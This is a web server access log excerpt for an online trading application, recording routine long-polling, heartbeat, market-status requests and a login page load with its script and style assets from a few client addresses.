[09/Jan/2026:10:22:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925624226 HTTP/1.1" -
[09/Jan/2026:10:22:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925610323 HTTP/1.1" -
[09/Jan/2026:10:22:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925613433 HTTP/1.1" -
[09/Jan/2026:10:22:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:22:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925615362 HTTP/1.1" -
[09/Jan/2026:10:22:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925630234 HTTP/1.1" -
[09/Jan/2026:10:22:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925618479 HTTP/1.1" -
[09/Jan/2026:10:22:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925620384 HTTP/1.1" -
[09/Jan/2026:10:22:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925623633 HTTP/1.1" -
[09/Jan/2026:10:22:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925636230 HTTP/1.1" -
[09/Jan/2026:10:22:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925625427 HTTP/1.1" -
[09/Jan/2026:10:22:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925628743 HTTP/1.1" -
[09/Jan/2026:10:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925642231 HTTP/1.1" -
[09/Jan/2026:10:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:22:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925630471 HTTP/1.1" -
[09/Jan/2026:10:22:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925633887 HTTP/1.1" -
[09/Jan/2026:10:22:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925648225 HTTP/1.1" -
[09/Jan/2026:10:22:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:22:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925635511 HTTP/1.1" -
[09/Jan/2026:10:22:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925639024 HTTP/1.1" -
[09/Jan/2026:10:22:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:22:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:22:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925654234 HTTP/1.1" -
[09/Jan/2026:10:22:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925640549 HTTP/1.1" -
[09/Jan/2026:10:22:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925644161 HTTP/1.1" -
[09/Jan/2026:10:22:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:22:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925645569 HTTP/1.1" -
[09/Jan/2026:10:22:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925660222 HTTP/1.1" -
[09/Jan/2026:10:22:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925649222 HTTP/1.1" -
[09/Jan/2026:10:23:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925650596 HTTP/1.1" -
[09/Jan/2026:10:23:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925666224 HTTP/1.1" -
[09/Jan/2026:10:23:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925654357 HTTP/1.1" -
[09/Jan/2026:10:23:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925655635 HTTP/1.1" -
[09/Jan/2026:10:23:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925659573 HTTP/1.1" -
[09/Jan/2026:10:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925672224 HTTP/1.1" -
[09/Jan/2026:10:23:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925660683 HTTP/1.1" -
[09/Jan/2026:10:23:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925664710 HTTP/1.1" -
[09/Jan/2026:10:23:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925678228 HTTP/1.1" -
[09/Jan/2026:10:23:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:23:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925665740 HTTP/1.1" -
[09/Jan/2026:10:23:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925669849 HTTP/1.1" -
[09/Jan/2026:10:23:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:23:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925684230 HTTP/1.1" -
[09/Jan/2026:10:23:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925670763 HTTP/1.1" -
[09/Jan/2026:10:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925674983 HTTP/1.1" -
[09/Jan/2026:10:23:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:23:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925690235 HTTP/1.1" -
[09/Jan/2026:10:23:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925675820 HTTP/1.1" -
[09/Jan/2026:10:23:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925680028 HTTP/1.1" -
[09/Jan/2026:10:23:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925680844 HTTP/1.1" -
[09/Jan/2026:10:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925696225 HTTP/1.1" -
[09/Jan/2026:10:23:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925685152 HTTP/1.1" -
[09/Jan/2026:10:23:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925685886 HTTP/1.1" -
[09/Jan/2026:10:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925702229 HTTP/1.1" -
[09/Jan/2026:10:23:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925690279 HTTP/1.1" -
[09/Jan/2026:10:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:10:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:23:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925690923 HTTP/1.1" -
[09/Jan/2026:10:23:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925695453 HTTP/1.1" -
[09/Jan/2026:10:23:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:23:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925695972 HTTP/1.1" -
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
